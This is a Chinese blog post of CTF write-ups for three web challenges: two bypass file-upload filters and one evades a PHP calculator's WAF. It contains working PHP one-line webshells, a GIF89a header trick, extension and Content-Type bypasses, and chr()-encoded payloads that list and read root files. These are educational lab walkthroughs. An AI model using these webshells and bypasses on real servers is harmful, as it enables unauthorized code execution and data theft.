x2658y's Blog

杂七杂八的记事本

进去就是个灯泡, 鼠标移到灯泡上出现文件选择框

image-20211101212238225

试着上传一个php后缀一句话木马

image-20211101212227434

前端限制后缀, 直接BP抓包改后缀

image-20211101211857333

后端也有限制, 传统艺能, 改后缀为phtml

image-20211101212015986

文件直接上传成功, 接下来就是菜刀时间

image-20211101212139849

flag就在根目录

进来就是一个普通的计算器, 输入表达式给出结果,先看一波源代码

image-20211101192427994
image-20211101192502182

被设了WAF, 咱也不知道是防的啥, 接着看. 请求参数被发往calc.php, 我们直接访问一下看看:

image-20211101192659620

源码直接显示出来了, 可以看到有很多过滤, 很多字符都被列入了黑名单. 先看看能不能得到当前的文件绝对路径

image-20211101193809717

网页直接Forbidden了, 经过测试, 只要num的参数里含除数字以外的字符就会如此, 这应该就是之前说的WAF了, 不绕过这个WAF后面的操作都无法进行下去. 但是要绕过这个漏洞, 首先要知道php在解析提交的参数名和其对应的值时都做了什么

PHP需要将所有参数名转换为有效键名(比如在$_REQUEST变量里的关联数组里, 有所有提交的参数名和值)

所以php至少会干两件事

1.删除某些字符

2.将某些字符转换为下划线_

以下为一些本地测试结果:

  1. 位于提交的参数前面的[空格]%20+会被删除, 比如提交param=1& param2=2(或param=1&++param2=2) , 最终在$_REQUEST里是("param1"=>"1","param2"=>"2")
  2. 位于提交的参数前面的.会被替换成_ , 提交param=1&..param2=2, 最终在$_REQUEST里是("param1"=>"1","__param2"=>"2")
  3. 位于参数名中间、末尾,无论是[空格]+%20还是.都会被替换成_

这个WAF我们可以采用在num前面加个空格方式绕过, 构造payload:

1
2
calc.php? num=var_dump(scandir(chr(47))) 
//本题calc.php?%20num=var_dump(scandir(chr(47)))亦可

scandir()可以列出根目录下的文件, 但是/被过滤了, 所以用chr()函数,采用ASCII码的方式绕过

image-20211101202126567

根目录下有个f1agg, 想必就是我们要找的flag了.

故技重施, 用chr()函数拼出路径, 再用file_get_contents()(也可以用highlight_file())获取里面的内容, payload:

1
calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
image-20211101203110483

进去就是个文件选择框, 先上传个头像上去看看, 用BP抓包

image-20211101161653416
image-20211101161704616

正常上传, 下面我们新建个test.php一句话木马文件并上传试试

1
<?php @eval($_REQUEST["shell"]) ?>
image-20211101172102928
image-20211031211321256

显然是不行的, 被识别出来了, 用BP抓包改Content-Typeimage/jpeg看看能不能骗过去

image-20211031220038474

错误提示变了,但还是传不上去, 推测可能是文件后缀检测, 可以采用其他后缀绕过, 常见的后缀有php*(如php2, php3), pht, phtm, phtml, phps

我们试试把后缀改成phtml试试

注意: 有的后缀即使上传上去了也不能被执行, 取决于服务端配置

image-20211031222954778

错误变了, 说明改后缀是对的, 但是这次又遇到新的检测. 让代码里不包含<?, 只需要换个形式的一句话木马即可:

1
<script langage="php">@eval(@_REQUEST);</script>
image-20211031223351820

错误又变了, 被检测到不是图像文件, 检测文件类型很有可能根据文件头了, 我们试着给一句话木马加上一个图像文件的文件头绕过检测

常见的图片文件头

  • JPG :FF D8 FF E0 00 10 4A 46 49 46
  • GIF(相当于文本的GIF89a):47 49 46 38 39 61
  • PNG: 89 50 4E 47
1
2
GIF89a
<script language="php">@eval($_REQUEST["shell"]);</script>

GIF的文件头最容易添加, 所以这里我们采用它, 其他文件的文件头要利用010 Editor这种十六进制编辑器来进行操作, 不方便

image-20211101163042319

一句话木马成功上传了上去, 猜测上传的文件放在upload文件夹中, 试着访问一下执行个指令

image-20211101163250245

成功执行, 接下来为了方便操作, 省去手工使用指令的麻烦, 使用中国菜刀中国蚁剑之类的软件连接webshell, 这里我使用中国蚁剑.

image-20211101163537861

成功连接, 接下来我们只需要找到flag即可, 通过翻查文件目录, 发现flag文件就在根目录

image-20211101163731288

任务完成~

0%